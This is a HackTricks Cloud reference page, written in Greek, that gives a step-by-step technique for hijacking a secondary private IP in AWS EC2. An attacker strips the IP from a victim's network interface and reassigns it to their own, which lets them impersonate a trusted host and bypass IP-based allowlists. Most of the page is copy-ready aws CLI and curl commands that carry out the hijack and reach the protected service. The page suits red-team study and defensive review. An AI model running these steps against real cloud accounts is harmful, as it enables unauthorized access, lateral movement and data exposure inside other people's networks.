AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Καταχράστε ec2:UnassignPrivateIpAddresses και ec2:AssignPrivateIpAddresses για να κλέψετε τη δευτερεύουσα ιδιωτική IP μιας ENI του θύματος και να τη μεταφέρετε σε ENI του επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και ομάδες ασφάλειας ελέγχουν την πρόσβαση βάσει συγκεκριμένων ιδιωτικών IP. Μετακινώντας αυτή τη δευτερεύουσα διεύθυνση, ο επιτιθέμενος μιμείται τον αξιόπιστο host στο L3 και μπορεί να φτάσει υπηρεσίες που βρίσκονται σε allowlist.
Prereqs:
- Δικαιώματα:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressesστο ARN της ENI του θύματος, καιec2:AssignPrivateIpAddressesστο ARN της ENI του επιτιθέμενου. - Και οι δύο ENI πρέπει να είναι στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να αποδεσμευτεί).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG σε υπηρεσία-στόχο που επιτρέπει μόνο το $HIJACK_IP - PROTECTED_HOST=
# ιδιωτικό DNS ή IP της προστατευμένης υπηρεσίας
Steps:
- Επιλέξτε μία δευτερεύουσα IP από την ENI του θύματος
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Διασφάλισε ότι ο προστατευμένος host επιτρέπει μόνο αυτήν την IP (idempotent). Αν χρησιμοποιείς SG-to-SG κανόνες, παράλειψε.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Βασική κατάσταση: από attacker instance, το αίτημα προς PROTECTED_HOST πρέπει να αποτύχει χωρίς spoofed source (π.χ., μέσω SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Αφαίρεση της secondary IP από το victim ENI
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Αναθέστε την ίδια IP στην ENI του επιτιθέμενου (στο AWS CLI v1 προσθέστε
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Επαλήθευση μεταφοράς ιδιοκτησίας
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS· αν όχι, προσθέστε την με
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Επιπτώσεις
- Παρακάμψτε IP allowlists και προσποιηθείτε αξιόπιστους hosts εντός του VPC μετακινώντας secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ.
- Πρόσβαση σε εσωτερικές υπηρεσίες που ελέγχουν την πρόσβαση με βάση συγκεκριμένες source IPs, επιτρέποντας lateral movement και πρόσβαση σε δεδομένα.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

